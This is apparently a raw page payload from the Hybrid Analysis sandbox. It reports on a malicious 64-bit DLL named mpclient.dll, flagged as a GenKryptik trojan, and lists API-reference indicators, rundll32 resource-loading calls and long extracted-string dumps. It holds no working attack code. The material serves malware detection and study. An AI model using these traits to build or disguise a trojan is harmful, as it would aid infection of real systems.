24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 73:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win64/GenKryptik.HRGN trojan Sample 70d629ad6571… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 70d629ad6571…. Malware family: Win64/GenKryptik.HRGN trojan. Threat score 100/100. 4/27 AV engines flagged this file. 6 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811","keywords":["Malicious","Win64/GenKryptik.HRGN trojan","malware analysis","sandbox report","threat intelligence","70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811"],"about":{"@type":"SoftwareApplication","name":"mpclient.dll","applicationCategory":["pedll","64bits","executable"],"identifier":"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win64/GenKryptik.HRGN trojan","antivirusDetections":{"malicious":4,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T6a2,Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "VirtualFree"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "_cgoexp_fbee35abc81c_MpFreeMemory" (Indicator: "FreeMemory"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp")26:T698,"rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548920'}" (UID: 00000000-00003300) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548904'}" (UID: 00000000-00003300) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548920'}" (UID: 00000000-00003456) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548904'}" (UID: 00000000-00003456) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548920'}" (UID: 00000000-00002896) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548888'}" (UID: 00000000-00002896) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548904'}" (UID: 00000000-00002896) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548920'}" (UID: 00000000-00000644) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548888'}" (UID: 00000000-00000644) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548904'}" (UID: 00000000-00000644) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548920'}" (UID: 00000000-00001908) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548888'}" (UID: 00000000-00001908) "rundll32.exe" called "LoadResource with parameter {'hModule': '4282515456', 'hResInfo': '4282548904'}" (UID: 00000000-00001908)27:T86e,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001200.00000000.268743.EFEF7000.00000002.mdmp") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp")28:T612,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp")29:T418,Found reference to "forHKDF" (Indicator: "HKDF"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to "*hmac.HMAC" (Indicator: "HMAC"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "HMAC"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Sum" (Indicator: "HMAC"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Write" (Indicator: "HMAC"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).BlockSize" (Indicator: "HMAC"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Reset" (Indicator: "HMAC"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin")2a:T638d,Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffershort buffer152587890625762939453125OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmunknown sizelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd6" (Indicator: "CertOpenStore"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "4 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=#failfipscast3814697265625GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeHMAC-SHA2-256HEAD_OVERFORCETRACK_LAG_HIGHFLUID_OVERTEMPFILTER_BLOCKEDESTOP_ASSERTEDTANK_LEVEL_LOWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexR" (Indicator: "CertCloseStore"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "4 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=#failfipscast3814697265625GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeHMAC-SHA2-256HEAD_OVERFORCETRACK_LAG_HIGHFLUID_OVERTEMPFILTER_BLOCKEDESTOP_ASSERTEDTANK_LEVEL_LOWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexR" (Indicator: "CryptGenRandom"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "ntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupreflect.Value.Elemreflect.Value.Type298023223876953125GetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialSUPPLY_PRESSURE_LOWbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.Floatreflect.Value.IsNilafter array elementstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [c" (Indicator: "CryptReleaseContext"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "an/globals:bytes/gc/heap/frees:objectsruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=simulated CAST failureunexpected method step4656612873077392578125RtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitsha3: Write after Readdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWunexpected map key typeindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page siz" (Indicator: "CertGetCertificateChain"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "e (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCallbytes.Buffer: too largereflect.Value.Interfacereflect.Value.NumMethod23283064365386962890625" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWjson: unsupported type: invalid argument to Intntracecheckstackownershiphash of unhashable" (Indicator: "CertFreeCertificateChain"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStarttesting simulated failure2910383045673370361328125GODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleencountered a cycle via %sinvalid argument to Int" (Indicator: "CertFreeCertificateContext"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "63ninvalid argument to Int31nall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory using unaddressable valueunknown ABI parameter kind1455191522836685180664062572759576141834259033203125RtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreafter object key:value pairPageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for reflect.Value.UnsafePointer is not assignable to type 363797880709171295166015625abi.NewName: tag too long: httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext!#$" (Indicator: "CertCreateCertificateContext"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "ting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal fals" (Indicator: "CertAddCertificateContextToStore"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "ting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal fals" (Indicator: "CertVerifyCertificateChainPolicy"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffershort buffer152587890625762939453125OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmunknown sizelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd" (Indicator: "CertOpenStore"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "4 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=#failfipscast3814697265625GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeHMAC-SHA2-256HEAD_OVERFORCETRACK_LAG_HIGHFLUID_OVERTEMPFILTER_BLOCKEDESTOP_ASSERTEDTANK_LEVEL_LOWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge index" (Indicator: "CertCloseStore"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "4 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=#failfipscast3814697265625GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeHMAC-SHA2-256HEAD_OVERFORCETRACK_LAG_HIGHFLUID_OVERTEMPFILTER_BLOCKEDESTOP_ASSERTEDTANK_LEVEL_LOWfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge index" (Indicator: "CryptGenRandom"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "ntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupreflect.Value.Elemreflect.Value.Type298023223876953125GetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialSUPPLY_PRESSURE_LOWbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.Floatreflect.Value.IsNilafter array elementstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [" (Indicator: "CryptReleaseContext"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "an/globals:bytes/gc/heap/frees:objectsruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=simulated CAST failureunexpected method step4656612873077392578125RtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitsha3: Write after Readdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWunexpected map key typeindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page si" (Indicator: "CertGetCertificateChain"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStarttesting simulated failure2910383045673370361328125GODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleencountered a cycle via %sinvalid argument to In" (Indicator: "CertFreeCertificateContext"; File: 